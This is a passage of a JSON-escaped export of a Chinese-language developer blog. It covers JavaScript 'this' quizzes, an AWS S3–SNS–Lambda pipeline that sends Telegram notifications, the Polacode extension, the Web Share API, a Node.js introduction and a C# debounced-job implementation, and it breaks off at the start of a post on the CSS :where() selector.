案例一 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 var name = \u0026#39;我是 window 裡的 name\u0026#39; let obj1 = { name: \u0026#39;obj1 的 name\u0026#39;, fn1(){ console.log(this.name); }, fn2: ()=\u0026gt;{ console.log(this.name); }, fn3(){ return function(){ console.log(this.name); } }, fn4(){ return () =\u0026gt; { console.log(this.name); } } } let obj2 = { name : \u0026#39;obj2 的 name\u0026#39; } obj1.fn1(); // ? obj1.fn1.call(obj2); // ? obj1.fn2(); // ? obj1.fn2.call(obj2); // ? obj1.fn3()(); // ? obj1.fn3().call(obj2); // ? obj1.fn3.call(obj2)(); // ? obj1.fn4()() // ? obj1.fn4().call(obj2); // ? obj1.fn4.call(obj2)(); // ? 答案：\n1 2 3 4 5 6 7 8 9 10 11 12 13 obj1.fn1(); // \u0026#39;obj1 的 name\u0026#39; obj1.fn1.call(obj2); // \u0026#39;obj2 的 name\u0026#39; obj1.fn2(); // \u0026#39;我是 window 裡的 name\u0026#39; obj1.fn2.call(obj2); // \u0026#39;我是 window 裡的 name\u0026#39; obj1.fn3()(); // \u0026#39;我是 window 裡的 name\u0026#39; obj1.fn3().call(obj2); // \u0026#39;obj2 的 name\u0026#39; obj1.fn3.call(obj2)(); // \u0026#39;我是 window 裡的 name\u0026#39; obj1.fn4()() // \u0026#39;obj1 的 name\u0026#39; obj1.fn4().call(obj2); // obj1 的 name obj1.fn4.call(obj2)(); // obj2 的 name 案例二 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 function Foo(){ getName = function(){ console.log(1) } return this } Foo.getName = function(){ console.log(2); } Foo.prototype.getName = function(){ console.log(3); } let getName = function(){ console.log(4) } function getName(){ console.log(5) } // 請寫出輸出結果: Foo.getName(); // ? getName(); // ? Foo().getName(); // ? getName(); // ? new Foo.getName(); // ? new Foo().getName(); // ? new new Foo().getName(); // ? 答案：\n1 2 3 4 5 6 7 8 Foo.getName(); // 2 getName(); // 4 Foo().getName(); // 1 getName(); // 1 new Foo.getName(); // 2 new Foo().getName(); // 3 new new Foo().getName(); // 3 ","date":"2023-02-17T00:00:00Z","image":"https://live.staticflickr.com/65535/52694000500_81babf36e6_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-17/js-about-this/","title":"【Javascript】整理關於 this 的指向"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n我的靜態專案放在 Amazon Web Services(AWS) 的 S3 儲存貯體上，最近使用 AWS 的 SNS 服務搭配 AWS Lambda，實作當 S3 儲存貯體內的檔案發生異動時，可以在我的 Telegram 上跳出通知，相當有趣，以下就來分享我的實作過程！\n因為我的專案 Git 倉放在 Github 上，暫不考慮 AWS 的 CodeCommit，以目前的架構來規劃玩玩！\n架構概括 以下就是將要建立的流程，我將建立一個 SNS 主題，該主題透過接收 S3 的事件並將其發布到 Lambda 函數，再透過 Lambda 發布通知到 Telegram。\n創建一個 Telegram bot 首先我們需要先在 Telegram 中創建一個機器人，透過之前的文章 - 「Telegram 機器人說明，並為你的 Drone CI/CD 配置 Telegram 機器人」，向 @BotFather 申請一隻吧！\n取得 Telegram bot Token：\n先將 Telegram bot 的 Token 存起來，後面會用到。\n取得我的用戶 ID 有了 Telegram bot 後，也需要取得我的用戶 ID，才知道機器人要將訊息傳給誰。\n先跟機器人講幾句話，以便 getUpdates API 取資料：\n透過 telegram 的 getUpdates API 取得我的用戶 ID：\n請使用瀏覽器打開以下網址：\n1 https://api.telegram.org/bot\u0026lt;機器人的Token\u0026gt;/getUpdates 注意： \u0026lt;機器人的Token\u0026gt; 前面的前綴 bot 不可省略，否則會找不到。\n用戶 ID 在這裡： [result][message][from][id]！\n將用戶 ID 也存起來，後面會用到。\n創建一個 SNS 主題 登入 AWS，在控制台找到 \u0026ldquo;SNS\u0026rdquo; 服務。\n進入「主題」，點選「建立主題」。\n注意：建立主題時，地區一定要與你的 S3 儲存貯體相同，否則 S3 儲存貯體是看不到這個主題的。\n選擇「標準」，並給它取個名字：「TelegramSNSNotifierTopic」，然後往下點擊「建立主題」。\n創建 Lambda 函數 AWS 的控制台，找到 \u0026ldquo;Lambda\u0026rdquo; 服務。\n點選「建立函式」，選擇「從頭開始撰寫」，給函數命名：「TelegramSNSNotifierLambda」，runtime 選擇「Python 3.9」，然後往下點擊「建立函式」。\n設定 Lambda 的環境變數 進入剛剛建立的函數，在「組態」\u0026gt;「環境變數」內，點選「編輯」。\n新增 TOKEN 與 USER_ID 兩個環境變數，值為：\nTOKEN： 剛剛創建的 Telegram bot token。 USER_ID： 剛剛取得的我的 Telegram 用戶 ID。 儲存後，來編輯一下 Lambda 函數的程式碼。\n編輯 Lambda 函數 回到「程式碼」頁籤，打開 lambda_function.py 檔案，會看到預設的程式碼。\n將以下程式碼覆蓋掉當前 lambda_function.py 內的程式碼：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import json import os import logging import urllib3 import boto3 s3_client = boto3.client(\u0026#34;s3\u0026#34;) # S3 Bucket Name S3_BUCKET = \u0026#34;test-bucket-01\u0026#34; # 專案中，用來紀錄當前版本號的檔案 object_key = \u0026#34;version.yaml\u0026#34; http = urllib3.PoolManager() # 初始化 logger，並設定為 INFO logger = logging.getLogger() logger.setLevel(logging.INFO) # 取得環境變數，並組成 Telegram Bot API URL TOKEN = os.environ[\u0026#39;TOKEN\u0026#39;] USER_ID = os.environ[\u0026#39;USER_ID\u0026#39;] TELEGRAM_URL = \u0026#34;https://api.telegram.org/bot{}/sendMessage\u0026#34;.format(TOKEN) # Main Lambda handler def lambda_handler(event, context): # 紀錄事件觸發，以便 debugging logger.info(\u0026#34;event=\u0026#34;) logger.info(json.dumps(event)) try: file_content = s3_client.get_object(Bucket=S3_BUCKET, Key=object_key) version_info = file_content[\u0026#34;Body\u0026#34;].read().decode(\u0026#34;utf-8\u0026#34;) message = f\u0026#34;當前環境版本，{version_info}\u0026#34; # 組成用於呼叫 Telegram Bot API 的 Payload payload = { \u0026#34;text\u0026#34;: message.encode(\u0026#34;utf8\u0026#34;), \u0026#34;chat_id\u0026#34;: USER_ID } # 送出請求到 Telegram Bot API http.request(\u0026#39;POST\u0026#39;, TELEGRAM_URL, payload) except Exception as e: raise e 如需取得 SNS 服務傳來的 message，可以使用以下版本：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import json import os import logging import urllib3 http = urllib3.PoolManager() # 初始化 logger，並設定為 INFO logger = logging.getLogger() logger.setLevel(logging.INFO) # 取得環境變數，並組成 Telegram Bot API URL TOKEN = os.environ[\u0026#39;TOKEN\u0026#39;] USER_ID = os.environ[\u0026#39;USER_ID\u0026#39;] TELEGRAM_URL = \u0026#34;https://api.telegram.org/bot{}/sendMessage\u0026#34;.format(TOKEN) # JSON Helper function to prettify the message if it\u0026#39;s in JSON def process_message(input): try: raw_json = json.loads(input) output = json.dumps(raw_json, indent=4) except: output = input return output # Main Lambda handler def lambda_handler(event, context): # 紀錄事件觸發，以便 debugging logger.info(\u0026#34;event=\u0026#34;) logger.info(json.dumps(event)) try: # 從回傳的 message 內取得 SNS message 欄位 message = process_message(event[\u0026#39;Records\u0026#39;][0][\u0026#39;Sns\u0026#39;][\u0026#39;Message\u0026#39;]) # 組成用於呼叫 Telegram Bot API 的 Payload payload = { \u0026#34;text\u0026#34;: message.encode(\u0026#34;utf8\u0026#34;), \u0026#34;chat_id\u0026#34;: USER_ID } # 送出請求到 Telegram Bot API http.request(\u0026#39;POST\u0026#39;, TELEGRAM_URL, payload) except Exception as e: raise e 程式碼僅依我個人需求撰寫，大家可以自行依自己的需求做撰寫。\n接著儲存後進行發布，點選「Deploy」。\n成功更新函數！\n添加 SNS 觸發器 點選「新增觸發」，來源選擇「SNS」，SNS 主題選擇剛剛建立的「TelegramSNSNotifierTopic」，接著點擊「新增」。\nSNS 與 Lambda 已完成配置！\n到 S3 儲存貯體設定「事件通知」 前往 AWS S3 服務，並進入你欲設定通知的儲存貯體詳細資訊。\n切換到「屬性」頁籤，下滑找到「事件通知」，並點選「建立事件通知」。\n依照我的需求，我的設定如下：\n事件名稱，我取名「開發環境版本更新」 事件類型，因為我的專案在版本更新時，會自動將 Git 當前版本的 Commit ID(SHA) 更新到根目錄下的 version.yaml 檔案中，所以我選擇： PUT「s3:ObjectCreated:Put」 POST「s3:ObjectCreated:Post」 複製「s3:ObjectCreated:Copy」 目的地選擇「SNS 主題」，指定 SNS 主題選擇「從 SNS 主題中選擇」，最後選擇前面建立的 SNS 主題 - 「TelegramSNSNotifierTopic」 接著點選「儲存變更」，就完成設定囉！\n測試看看 這邊來手動上傳 version.yaml 到 S3 儲存貯體，試試看是否有成功。\n上傳成功後，就會發現 Telegram bot 通知我了！\n小結 首先，S3 是一個非常強大的對象儲存服務，可以存儲和檢索大量數據，它的存儲和訪問速度非常快。在使用 S3 時，其簡單易用的界面可以輕鬆地創建存儲桶(bucket)、設置存取權限、上傳和下載文件等。此外，S3 還支持版本控制、交叉區域複製等高級功能。\n其次，SNS 是一個強大的消息發布和訂閱服務，可以幫助我將消息發送到多個端點，如電子郵件、短信、移動設備等。SNS 的設置非常簡單，可以輕鬆地創建主題(topic)、訂閱端點(subscription)、設置過濾器(policy)等。同時，SNS 還提供了許多高級功能，如死信隊列(dead-letter queue)、消息篩選等，這些功能可以更好地控制和管理我的消息流。\n最後，Lambda 是一個靈活且高效的無伺服器計算服務，可以讓我在不擔心伺服器設置和管理的情況下運行代碼。使用 Lambda 非常方便，只需創建一個函數(function)，然後設置觸發器(trigger)，就可以開始運行我的代碼。同時，Lambda 還支持許多高級功能，如環境變量(environment variables)、VPC 訪問(virtual private cloud access)、調用其他服務等，這些功能可以讓我的代碼更加強大和靈活。\n本篇只是分享我試玩一下 AWS SNS 與 Lambda，相當有趣，期待後續有更靈活、更好玩的運用！\n","date":"2023-02-16T00:00:00Z","image":"https://live.staticflickr.com/65535/52691440307_42df4e8ba1_o.png","permalink":"https://blog.wayne-project.com/2023-02-16/aws-sns-lambda-telegram-bot/","title":"【AWS】利用 SNS + Lambda，在 S3 儲存貯體檔案更新時透過 Telegram 通知我！"},{"content":" 常常會在社群中看到有些開發者在問問題或是在做討論時，會有需要展示程式碼的部分，這時候如果直接講程式碼貼出來，在沒有排版的情況下，光是要了解對方的程式碼可能就需要一段時間，更何況是要從中找出問題，這樣其實是非常浪費時間的，所以今天來介紹一個相當好用的 VSCode 套件 - 【Polacode】，這個套件可以輕鬆將程式碼做美美的截圖！\n如何使用？ 到 VSCode 的 Extensions，輸入關鍵字： Polacode。\n然後把第一個安裝起來，我們就可以開始截圖啦！\n使用快捷鍵：「ctrl + shift + p」 (Mac 系統用 command + shift + p )，找到「Polacode📸」並執行。\n你的畫面應該會出現這樣：\n接著就照著上面的步驟去操作：\n1 2 3 4 console.log(\u0026#39;0. Run command `Polacode 📸`\u0026#39;) console.log(\u0026#39;1. Copy some code\u0026#39;) console.log(\u0026#39;2. Paste into Polacode view\u0026#39;) console.log(\u0026#39;3. Click the button 📸\u0026#39;) 複製你要截圖的程式碼區塊。 在 Polacode 的 file 裡貼上。 點擊按鈕截圖。 完整流程如下：\n注意事項 Polacode 會連你的主題一起截取。 Polacode 的 file 會影響你的成品，因此 file 內因為擠壓而換行，儲存出來的成品也會換行。 介紹這個套件是希望在跟其他開發者討論程式碼，或是自己有撰寫部落格與文章的習慣時，可以讓對方或讀者有個良好的閱讀體驗，閱讀起來會更加順暢！\n","date":"2023-02-14T00:00:00Z","image":"https://live.staticflickr.com/65535/52688573055_35766ac7fc_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-14/vscode-plugin-polacode/","title":"【Polacode】一款好用的 VSCode 截圖套件推薦"},{"content":" 參考網址\n參考網址\n參考網址\n參考網址\n參考網址\nWeb Share API 是現代瀏覽器提供的最新功能之一，它讓網頁的使用者能夠體驗到和原生 app 完全相同的分享體驗。這篇文章將會教你 navigator.share() 的使用方法。\nWeb Share API 是什麼？ 原生的 Android 和 iOS app 如果要做分享，通常會使用原生的分享介面，類似的介面相信大家一定不陌生：\n然而手機網頁要達到一樣的效果就沒有那麼容易了，網頁的分享通常體驗會比原生 app 差一點，且如果要讓使用者用得習慣，可能得必須針對不同的平台去盡量模仿原生的介面，這種做法的實作成本相對是高的。這時候 Web Share API 就能派上用場了！\nWeb Share API 是比較新的瀏覽器 API，可以讓使用者輕鬆地用作業系統原生的介面分享至其他 app、分享給你的朋友等；就像是使用原生 app 一樣。網頁端實作這隻 API，就等於同時實作了 Share to Facebook、Share to Twitter、Share to XXX\u0026hellip; 等各種分享至第三方平台的功能了！\n另外 Google Chrome Developers 的影片也有對 Web Share API 簡單的介紹 (0:18 ~ 1:00)\nWeb Share API 的使用限制 要使用 Web Share API 有幾個限制：\n你的網站必須支援 https。 只能經由使用者所產生的事件觸發，例如 click 事件。 能夠分享的種類有：文字、URLs、檔案。 Navigator.share() navigator.share() 使用方法如下：\n1 2 3 4 5 6 7 8 9 if (navigator.share) { navigator.share({ title: \u0026#39;標題\u0026#39;, text: \u0026#39;文字描述\u0026#39;, url: \u0026#39;https://blog.wayne-project.com/\u0026#39;, }) .then(() =\u0026gt; console.log(\u0026#39;成功！\u0026#39;)) .catch((error) =\u0026gt; console.log(\u0026#39;發生錯誤\u0026#39;, error)); } 首先我們要判斷瀏覽器是否支援這個功能，所以需要加上 if (navigator.share) { // ... } 的判斷。\n接著我們呼叫 navigator.share() function，它的參數是一個物件，支援 title、text、url 及 files 四個 key。\n最後這個 function 回傳值是一個 promise，所以我們可以分別對成功或是失敗的情況做額外處理。\nCanonical URL 有個小細節需要注意，如果你的網站有不同的網址指向同樣的內容（例如：電腦版網頁 www.example.com 用手機瀏覽時會跳轉到手機版網頁 m.example.com），那麼你可能應該分享 canonical URL (標準版的 URL)，而不是 document.location.href。\n為什麼呢？因為如果你在手機上瀏覽這個網站，分享出去的會是 m.example.com，而如果手機版沒有做跳轉的話，桌機的使用者就會看到手機版的排版 (感覺這狀況在 FB 挺常見的\u0026hellip;)。\n如何解決呢？一般來說，這種情況為了 SEO 的緣故會在 HTML head 裡面標記 \u0026lt;link rel=\u0026quot;canonical href=\u0026quot;xxxxx\u0026quot;\u0026gt;，讓搜尋引擎不要重複 index。因此我們可以用幾行簡單的程式碼抓出 canonical URL：\n1 2 3 const canonicalElement = document.querySelector(\u0026#39;link[rel=canonical]\u0026#39;); const url = canonicalElement \u0026amp;\u0026amp; canonicalElement.href || document.location.href; navigator.share({ url: url }); 瀏覽器支援度 Browser Support 這是一個相對較新的標準，截至寫這篇文章為止 (2023 年 2 月)，從 Navigator Share API - caniuse.com 可以看到目前支援 Web Share API 的瀏覽器只有 Safari、Edge、iOS Safari、Chrome for Android 與 Firefox for Android，並沒有受到廣泛地支持。\n雖然目前瀏覽器支援度不佳，不過很明顯 Web Share API 的使用情境主要集中在手機上，所以我個人認為只要做好 feature detection，搭配原本習慣的分享方式使用應該不成問題。\n寫個範例 來看一下範例程式碼吧，也可以直接看 CodePen。\n1 2 3 4 5 6 7 8 // navigator.share 會回傳一個 Promise // 下面的欄位可以不用全部填寫，可以只分享網址，也可以只分享文字 const sharePromise = navigator.share({ url: \u0026#34;https://blog.wayne-project.com/2023-02-14/js-navigator-share-api/\u0026#34;, // 要分享的 URL title: \u0026#34;Wayne\u0026#39; blog\u0026#34;, // 要分享的標題 text: \u0026#34;偉恩的部落格文章好豐富阿\u0026#34; // 要分享的文字內容 }); See the Pen Web Share API example by wjdesign (@WJDesign) on CodePen. ","date":"2023-02-14T00:00:00Z","image":"https://live.staticflickr.com/65535/52688657055_cb1b8e38df_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-14/js-navigator-share-api/","title":"用 Navigator.share() API 實作分享功能"},{"content":" 本文整理自我初學 Node.js 時的筆記，用於對 Node.js 這門語言有興趣的讀者簡單扼要的介紹 Node.js 是什麼，以及該如何學習這門語言。\n什麼是 Node.js？ Node.js 是 Ryan Dahl 在 2009 年為了解決 Web 服務器高併發問題而開發的基於 Chrome V8 引擎的 JavaScript 運行時環境。\n從這個定義中，可以看到 Node.js 的三個關鍵特徵：\n目的：為了解決Web 服務器高並發問題。 底層：使用的是 Chrome V8 引擎。 本質：一個 Javascript 運行時環境(runtime environment)。 因此，要搞清楚什麼是 Node.js，首先就要搞清楚以上三個關鍵特徵。\nNode.js 三個關鍵特徵 為了解決 Web 服務器高並發問題 Ryan Dahl 在設計 Node.js 之前，一直致力於解決 Web 服務器高併發引起的性能問題，根據工作經驗，他認為性能問題的瓶頸在於阻塞的 I/O 操作。恰逢 Chrome 推出了高性能的 V8 引擎，Ryan Dahl 認為 JavaScript 天然的異步、事件委託機制以及 JavaScript 語言在服務端無歷史包袱的特性，非常適合通過異步流程控制的方式提升大型分佈式系統性能。於是 Node.js 應運而生。\n儘管現在 Node.js 已經被應用於各種各樣的場景。但是我們始終應該認識到，理解 Node.js 的異步流程控制原理才算是掌握了 Node.js 的核心。\nChrome V8 引擎 Chrome 內核基於 WebKit，分為以下兩個引擎：\n渲染引擎： Web Core JavaScript 解釋引擎： JavaScript Core 而 Google 由於不滿意 JavaScript Core 的性能，於是自主研發了性能更好的 V8 引擎予以取代。\n作為 JavaScript 的解釋引擎，V8 引擎的主要作用在於：\n解釋與編譯JavaScript； 堆管理； 處理內存垃圾回收； 處理內存分配； \u0026hellip; 可以說，V8 引擎提供了一個高性能的 JavaScript 執行環境，因而 JavaScript 能夠有充足的底氣在各平台（瀏覽器，服務端，桌面端）運行。\nJavascript 運行時環境 Node.js 既不是一門語言（JavaScript），也不是一個框架（React、Vue、Koa），而是一個 JavaScript 運行時環境(runtime environment)。\n那，什麼是 JavaScript 運行時環境(runtime environment) 呢？\n顧名思義，是一個可以運行 JavaScript 的環境。\n那麼這裡的環境是指什麼呢？主要包含以下兩個方面：\n提供了解釋，編譯 JavaScript 的底層能力。 提供了一系列接口，使開發者可以通過 JavaScirpt 調用系統底層能力（例如網絡，文件讀寫等）。 前者是由 Chrome V8 引擎提供的，而後者則是由一個底層由 C、C++ 編寫的高性能的事件驅動的異步 I/O 庫 libuv 所提供。\nlibuv libuv 是一個跨平台的事件驅動的異步 I/O 庫，為 Node 提供了 CPU 和操作系統層面的功能。\n我們知道不同的操作系統調度硬件的方式不同，CPU 的指令集也各有差異。libuv 則抹平了這一差異，通過名為 Node Bindings 的模塊，向用戶暴露了統一的系統操作接口。\n因此現在我們可以說，Node 實際上由兩部分組成：Chrome V8 引擎以及 libuv。這兩層隱藏在 Node Bindings 之下，而用戶面向 Node Bindings 進行編程。\n至此你應該理解了什麼是 Node.js。\n它是一個跨平台的 JavaScript 可執行環境，在這個環境中你可以使用 JavaScript 充分調動操作系統的能力，做你想做的任何事！\nNode.js 的哲學 要充分的理解 Node.js，除了前文提到的異步流程控制原理之外，我們還需要了解下 Node.js 從創始到發展所彰顯的設計哲學，這有利於我們更喜歡 Node.js 生態。\n我認為 Node.js 有以下三大特點：\n開放 Node.js 在設計之初，就堅持將核心庫做的足夠小，以便讓充分發揮社區的創造性，讓所有搭建大型系統的構建都盡可能來源於社區，因此每個構件都可以快速試錯和迭代。不得不說，這種做法雖然有顯得有些偷懶，但是事實證明這種對社區的信賴，和開放的態度收穫了巨大的回報：Node.js 擁有了全世界最活躍也是最大的社區和包管理平台 npm。\n專注 Node.js 社區的開發者始終保留著一個默契，將 package 的功能約束的足夠窄，最好一次只做好一件事(單一職責原則)，並對外暴露單一的接口。這樣 package 的開發，設計，測試就會變得更加簡單，package 也就更加可靠。這種專注，也同時表現了開發者們的謙遜以及效率至上。\n簡約 Node.js package 通常只暴露單一模塊和接口，並繼承了 JavaScript 的簡約特點，使用簡單的數據結構。這使得 Node.js 包易於閱讀和理解。\n前端開發者如何學習 Node.js？ 對於從未涉足過服務端開發的前端開發者而言，以下幾點是學習 Node.js 過程中必須補足的知識：\n對 JavaScript 語言特性（特別是 ESNext），語法的深入理解。 數據庫知識與數據表設計能力。 系統架構能力。 而學習 Node.js 則可以分為兩個部分：\n學習 Node.js 的核心庫的使用。 學習相關 Web 框架的使用。 在整個學習過程中，建議採用以下四步學習：\n閱讀官方文檔。 撰寫 Demo 熟悉語法驗證思路。 在此過程中不斷地問自己問題，並深入調研得到答案。 通過對外輸出，分享所得加深自己的印象。 小結 Node.js 在如今已經是每一位前端開發者必須掌握的技術，它通過 libuv 向前端開發者開放了操作系統層面的底層能力，讓開發者能夠全面使用計算機的算力和功能。並用一種語言解決 Web 應用開發的所有問題的想法成為可能。希望通過本文的介紹，您能夠對 Node.js 產生好奇，祝您在未來的探索旅途中，過得愉快。\n","date":"2023-02-14T00:00:00Z","image":"https://live.staticflickr.com/65535/52688618360_3d146e4e7b_o.png","permalink":"https://blog.wayne-project.com/2023-02-14/what-is-nodejs/","title":"簡單扼要的介紹什麼是 Node.js？"},{"content":" 參考網站\n參考網站\n參考網站\n前言 Debounce (去抖動)是前端開發時很常用的技巧，經典應用是整合 AJAX 的欄位輸入自動完成。原始設計是每敲一個字元查一次，當使用者連續輸入 w a y n e b 便會發出 \u0026ldquo;w\u0026rdquo;、\u0026ldquo;wa\u0026rdquo;、\u0026ldquo;way\u0026rdquo;、\u0026ldquo;wayn\u0026rdquo;、\u0026ldquo;wayne\u0026rdquo;、\u0026ldquo;wayne-b\u0026rdquo; 等六次 AJAX 查詢，而使用者期望的是用 wayne-b 帶出 wayne-blog 提示，因此前面五次純屬無效查詢，平白浪費頻寬跟主機資源。有效的改善方法是改成每次敲完一個字元先稍待 0.5 秒或 1 秒，確認沒有要輸入其他字元，最後一次送出 \u0026ldquo;wayneb\u0026rdquo;。這在網頁上用 JavaScript setTimeout/clearTimeout 即可輕易實現，這個做法有個術語叫 - Debounce。\n伺服器端有類似的應用情境嗎？有。\n提到系統自動通知，經常是一筆記錄發一次通知(運作最簡單，系統內建提供不需客製)，而某些事件一旦發生會噴出數十上百筆通知，短短幾秒收件匣或 LINE/Slack 就被暴力洗版。更理想的做法是把短時間內的連續訊息彙整成一封，而這類似前面說的「彙整多個輸入字元再一次發出 AJAX 請求」，可以靠 Debounce 機制改善。而我們要做的就是用 C# 實現類似邏輯，收到第一則通知時先不要馬上轉發，若一段時間內接連還有其他訊息進來都先存起來，等到 30 秒內沒有新訊息，再將累積的訊息彙整成一筆送出。\n實作 寫個 ASP.NET Core Minimal API 做概念性驗證(Proof of Concept；POC)：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 using System.Collections.Concurrent; var builder = WebApplication.CreateBuilder(args); var app = builder.Build(); // 用途：訊息存於記憶體，不考慮程序異常資料遺失問題 var msgQueue = new ConcurrentQueue\u0026lt;string\u0026gt;(); // 延遲 5 秒執行，期間累積的訊息一次處理 var debouncePrint = new DebouncedJob(TimeSpan.FromSeconds(5)); app.MapPost(\u0026#34;/alert\u0026#34;, (HttpRequest request) =\u0026gt; { string msg = request.Form[\u0026#34;msg\u0026#34;].ToString(); if (!string.IsNullOrEmpty(msg)) { msgQueue.Enqueue(msg); // 若怕新訊息源源不絕一直 Delay 下去，可加入訊息數上限 // 當 msgQueue 累積數量達上限時，不透過 DebouncedJob 直接執行 debouncePrint.Run(() =\u0026gt; { Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine($\u0026#34;Debounce Print: {DateTime.Now:mm:ss}\u0026#34;); Console.ResetColor(); while (msgQueue.TryDequeue(out string m)) { Console.WriteLine(\u0026#34; \u0026#34; + m); } }); } return Results.Content(\u0026#34;OK\u0026#34;); }); app.MapGet(\u0026#34;/\u0026#34;, () =\u0026gt; Results.Content(@\u0026#34;\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;\u0026#34;utf-8\u0026#34;\u0026#34;\u0026gt; \u0026lt;title\u0026gt;DebouncedJob\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form action=/alert method=post target=result id=frm \u0026gt; \u0026lt;input type=hidden name=msg id=msg /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;iframe name=result style=display:none\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;button onclick=\u0026#39;test()\u0026#39; \u0026gt;Run Test\u0026lt;/button\u0026gt; \u0026lt;ul id=log\u0026gt;\u0026lt;/ul\u0026gt; \u0026lt;script\u0026gt; let delays = [1, 1, 2, 3, 1, 4, 6, 1, 1, 7, 1]; function test() { send(); } function send() { let m = `Sent on ${new Date().toISOString().split(\u0026#39;T\u0026#39;)[1].substr(3, 5)}`; document.getElementById(\u0026#39;log\u0026#39;).innerHTML += `\u0026lt;li\u0026gt;${m}\u0026lt;/li\u0026gt;`; document.getElementById(\u0026#39;msg\u0026#39;).value = m; document.getElementById(\u0026#39;frm\u0026#39;).submit(); if (delays.length) { setTimeout(send, delays.shift() * 1000); } } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt;\u0026#34;, \u0026#34;text/html\u0026#34;)); app.Run(); 目的是由 /alert 收訊息用 Console.WriteLine 顯示出來，但中間加上 5 秒的 Debounce 機制。做法是收到 /alert 時先將 msg 存進 ConcurrentQueue (不考慮程序異常資料遺失)，並排定一個將 ConcurrentQueue 內容全部印出來的動作，若 5 秒內沒有其他 /alert 被呼叫，排定的 Console.Print 才會真的執行。首頁的部分我寫了簡單的 JavaScript，模擬間隔 1、1、2、3、1、4、6、1、1、7、1 秒各呼叫一次 /alert。由於超過 5 秒才會 Print，預期會在等 6 秒、等 7 秒及最後分三次印出。\n測試成功，結果符合預期。\n運作的關鍵在 Debounced Job，那 Debounced Job 要怎麼寫？\n其實還蠻簡單的，.NET 沒有 setTimeout、clearTimeout，但我們可以用 Task.Delay().ContinueWith() 配上 CancellationToken 實現取消要延遲執行作業的相似邏輯，Task.Delay() 像 Thread.Sleep() 可以不佔用 CPU 等待指定時間，但多了接收 CancellationToken 隨時中斷等待的功能，配合 ContinueWith() 時檢查 CancellationToken.IsCancellationRequested 偵測被中斷的話放棄執行，便能實現 clearTimeout 放棄執行的效果。(延伸閱讀：NET 非同步工作的延續 by Huanlin 學習筆記)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public class DebouncedJob { private CancellationTokenSource _cts = new CancellationTokenSource(); private readonly object _lock = new object(); private readonly TimeSpan _delay; public DebouncedJob(TimeSpan delay) { _delay = delay; } public void Run(Action action) { lock (_lock) { // 取消上一次的執行 // 概念上類似 JavaScript debounce 的 clearTimeout() 技巧 _cts.Cancel(); _cts.Dispose(); } _cts = new CancellationTokenSource(); var token = _cts.Token; Task.Delay(_delay, token).ContinueWith(task =\u0026gt; { // 執行到這裡有兩種情況： // 1. 延遲時間到 // 2. 延遲時間未到，CancellationToken 被取消 // 後者不執行 action if (!token.IsCancellationRequested) { action(); } }); } } 學會這個技巧，未來遇到需要將動作化零為整，提高處理效率及資訊可讀性的場合，我們就可以靠它寫出更貼心有效率的程式囉。\n你可能會想，在極端狀態下若訊息源源不絕進來，發送動作將被無限延遲影響通知時效。\n這還可透過設定等待上限解決，試寫一個可指定等待上限的版本(預設上限時為等待時間的兩倍)：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 public class DebouncedJob { private CancellationTokenSource _cts = new CancellationTokenSource(); private readonly object _lock = new object(); private readonly TimeSpan _delay; private readonly TimeSpan? _maxDelay; public DebouncedJob(TimeSpan delay, TimeSpan? maxDelay = null) { _delay = delay; // 未指定 maxDelay 時，預設為兩倍 delay 長度 _maxDelay = maxDelay ?? delay * 2; } private DateTime? firstRunTime = null; public void Run(Action action) { lock (_lock) { // 取消上一次的執行 // 概念上類似 JavaScript debounce 的 clearTimeout() 技巧 _cts.Cancel(); _cts.Dispose(); } _cts = new CancellationTokenSource(); var token = _cts.Token; if (firstRunTime == null) { firstRunTime = DateTime.Now; } // 超過 maxDelay 直接執行 action else if (DateTime.Now - firstRunTime \u0026gt; _maxDelay) { firstRunTime = null; action(); return; } Task.Delay(_delay, token).ContinueWith(task =\u0026gt; { // 執行到這裡有兩種情況： // 1. 延遲時間到 // 2. 延遲時間未到，CancellationToken 被取消 // 後者不執行 action if (!token.IsCancellationRequested) { firstRunTime =null; action(); } }); } } 修改 Program.cs，var debouncePrint = new DebouncedJob(TimeSpan.FromSeconds(5), TimeSpan.FromSeconds(8)); 設定八秒上限，可觀察到第一波拆成兩批顯示，最久只會延遲到 8 秒：\n","date":"2023-02-13T00:00:00Z","image":"https://live.staticflickr.com/65535/52686405784_425f5b6fca_o.png","permalink":"https://blog.wayne-project.com/2023-02-13/dotnet-core-debounce/","title":"【C#】實作 Debounced Job"},{"content":" 參考網站\n參考網站\n:where() 函式接受一個選擇器列表作為參數，允許你編寫更少的代碼並同時設置它們的樣式。本篇文章我們來討論 :where() 的偽類函式，並示範如何在生產環境中使用它。我們將回顧與 :where() 函式相關的疊加、優先級和安全性；另外我們還研究一些特定的範例，並討論它與 